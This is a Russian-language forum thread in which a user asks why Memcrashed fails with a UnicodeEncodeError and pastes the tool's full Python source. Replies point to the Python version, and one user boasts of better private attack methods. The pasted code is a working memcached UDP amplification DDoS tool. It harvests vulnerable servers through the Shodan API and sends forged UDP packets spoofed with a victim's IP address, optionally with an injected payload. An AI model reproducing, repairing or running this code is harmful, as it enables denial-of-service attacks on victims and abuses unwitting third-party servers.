Загрузка...

Memcrashed - ошибка

Тема в разделе Python создана пользователем GeekBrain 18 авг 2019. (поднята 18 авг 2019) 1063 просмотра

Загрузка...
  1. GeekBrain
    GeekBrain Автор темы 18 авг 2019 3 25 ноя 2018
    Ошибка при запуске Memcrashed
    Traceback (most recent call last):
    File "Memcrashed.py", line 42, in <module>
    print(logo)
    UnicodeEncodeError: 'latin-1' codec can't encode characters in position 9-12: ordinal not in range(256)

    В чём проблема?

    https://github.com/649/Memcrashed-DDoS-Exploit
     
    18 авг 2019 Изменено
  2. Scylin
    Scylin 18 авг 2019 22 14 янв 2019
    Ты запустил его не в той версии питона, там нужна 2-рая вроде-бы, а ты с 3 рашишь
    --- Сообщение объединено с предыдущим 18 авг 2019
    (Наоброт, перепутал, ты скорее всего с 2 рашишь, а там 3)
     
  3. Klirk
    Версия питона
     
  4. GeekBrain
    GeekBrain Автор темы 18 авг 2019 3 25 ноя 2018
    http://prntscr.com/ou8und
     
  5. GeekBrain
    GeekBrain Автор темы 18 авг 2019 3 25 ноя 2018
    Код
    #-- coding: utf8 --
    #!/usr/bin/env python3
    import sys, os, time, shodan
    from pathlib import Path
    from scapy.all import *
    from contextlib import contextmanager, redirect_stdout

    starttime = time.time()

    @contextmanager
    def suppress_stdout():
    with open(os.devnull, "w") as devnull:
    with redirect_stdout(devnull):
    yield

    class color:
    HEADER = '\033[0m'

    keys = Path("./api.txt")
    logo = color.HEADER + '''

    ***╗ ***╗*******╗***╗ ***╗ ******╗******╗ *****╗ *******╗**╗ **╗*******╗******╗
    ****╗ ****║**╔════╝****╗ ****║**╔════╝**╔══**╗**╔══**╗**╔════╝**║ **║**╔════╝**╔══**╗
    **╔****╔**║*****╗ **╔****╔**║**║ ******╔╝*******║*******╗*******║*****╗ **║ **║
    **║╚**╔╝**║**╔══╝ **║╚**╔╝**║**║ **╔══**╗**╔══**║╚════**║**╔══**║**╔══╝ **║ **║
    **║ ╚═╝ **║*******╗**║ ╚═╝ **║╚******╗**║ **║**║ **║*******║**║ **║*******╗******╔╝
    ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝

    Author: @037
    Version: 4.0

    ####################################### DISCLAIMER ########################################
    | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |
    | memcached servers. It then allows you to use the same servers to launch widespread |
    | distributed denial of service attacks by forging UDP packets sourced to your victim. |
    | Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
    | is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |
    | I am NOT responsible for any damages caused or any crimes committed by using this tool. |
    ###########################################################################################

    '''
    print(logo)

    if keys.is_file():
    with open('api.txt', 'r') as file:
    SHODAN_API_KEY=file.readline().rstrip('\n')
    else:
    file = open('api.txt', 'w')
    SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')
    file.write(SHODAN_API_KEY)
    print('[~] File written: ./api.txt')
    file.close()

    while True:
    api = shodan.Shodan(SHODAN_API_KEY)
    print('')
    try:
    myresults = Path("./bots.txt")
    query = input("[*] Use Shodan API to search for affected Memcached servers? <Y/n>: ").lower()
    if query.startswith('y'):
    print('')
    print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)
    results = api.search('product:"Memcached" port:11211')
    print('[✓] API Key Authentication: SUCCESS')
    print('[~] Number of bots: %s' % results['total'])
    print('')
    saveresult = input("[*] Save results for later usage? <Y/n>: ").lower()
    if saveresult.startswith('y'):
    file2 = open('bots.txt', 'a')
    for result in results['matches']:
    file2.write(result['ip_str'] + "\n")
    print('[~] File written: ./bots.txt')
    print('')
    file2.close()
    saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: ').lower()
    if myresults.is_file():
    if saveme.startswith('y'):
    with open('bots.txt') as my_file:
    ip_array = [line.rstrip() for line in my_file]
    else:
    print('')
    print('[✘] Error: No bots stored locally, bots.txt file not found!')
    print('')
    if saveme.startswith('y') or query.startswith('y'):
    print('')
    target = input("[▸] Enter target IP address: ")
    targetport = input("[▸] Enter target port number (Default 80): ") or "80"
    power = int(input("[▸] Enter preferred power (Default 1): ") or "1")
    print('')
    data = input("[+] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
    if (data != "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"):
    dataset = "set injected 0 3600 ", len(data)+1, "\r\n", data, "\r\n get injected\r\n"
    setdata = ("\x00\x00\x00\x00\x00\x00\x00\x00set\x00injected\x000\x003600\x00%s\r\n%s\r\n" % (len(data)+1, data))
    getdata = ("\x00\x00\x00\x00\x00\x00\x00\x00get\x00injected\r\n")
    print("[+] Payload transformed: ", dataset)
    print('')
    if query.startswith('y'):
    iplist = input('[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()
    if iplist.startswith('y'):
    print('')
    counter= int(0)
    for result in results['matches']:
    host = api.host('%s' % result['ip_str'])
    counter=counter+1
    print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))
    time.sleep(1.1 - ((time.time() - starttime) % 1.1))
    if saveme.startswith('y'):
    iplistlocal = input('[*] Would you like to display all the bots stored locally? <Y/n>: ').lower()
    if iplistlocal.startswith('y'):
    print('')
    counter= int(0)
    for x in ip_array:
    host = api.host('%s' % x)
    counter=counter+1
    print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))
    time.sleep(1.1 - ((time.time() - starttime) % 1.1))
    print('')
    engage = input('[*] Ready to engage target %s? <Y/n>: ' % target).lower()
    if engage.startswith('y'):
    if saveme.startswith('y'):
    for i in ip_array:
    if (data != "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"):
    print('[+] Sending 2 forged synchronized payloads to: %s' % (i))
    with suppress_stdout():
    send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)
    send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)
    else:
    if power>1:
    print('[+] Sending %d forged UDP packets to: %s' % (power, i))
    with suppress_stdout():
    send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)
    elif power==1:
    print('[+] Sending 1 forged UDP packet to: %s' % i)
    with suppress_stdout():
    send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)
    else:
    for result in results['matches']:
    if (data != "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"):
    print('[+] Sending 2 forged synchronized payloads to: %s' % (i))
    with suppress_stdout():
    send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)
    send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)
    else:
    if power>1:
    print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))
    with suppress_stdout():
    send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)
    elif power==1:
    print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])
    with suppress_stdout():
    send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)
    print('')
    print('[•] Task complete! Exiting Platform. Have a wonderful day.')
    break
    else:
    print('')
    print('[✘] Error: %s not engaged!' % target)
    print('[~] Restarting Platform! Please wait.')
    print('')
    else:
    print('')
    print('[✘] Error: No bots stored locally or remotely on Shodan!')
    print('[~] Restarting Platform! Please wait.')
    print('')

    except shodan.APIError as e:
    print('[✘] Error: %s' % e)
    option = input('[*] Would you like to change API Key? <Y/n>: ').lower()
    if option.startswith('y'):
    file = open('api.txt', 'w')
    SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')
    file.write(SHODAN_API_KEY)
    print('[~] File written: ./api.txt')
    file.close()
    print('[~] Restarting Platform! Please wait.')
    print('')
    else:
    print('')
    print('[•] Exiting Platform. Have a wonderful day.')
    break

    В чём тут ошибка?
     
  6. Scylin
    Scylin 18 авг 2019 22 14 янв 2019
    Нахрена код скинул?
     
  7. GeekBrain
    GeekBrain Автор темы 18 авг 2019 3 25 ноя 2018
    Может поможет в решении данной проблемы...
     
  8. Scylin
    Scylin 18 авг 2019 22 14 янв 2019
    Этот репозиторий находится в паблике, лучше-бы уже ссылку на гит ****нул
     
  9. GeekBrain
    GeekBrain Автор темы 18 авг 2019 3 25 ноя 2018
    Прикрепил.
     
  10. JakeyCoder
    JakeyCoder 18 авг 2019 Заблокирован(а) 20 28 июл 2019
    GeekBrain, зачем такое говно юзать, оно не какой атаки не делает
    Лучше мои приватные методы юзать, сносят все
     
Top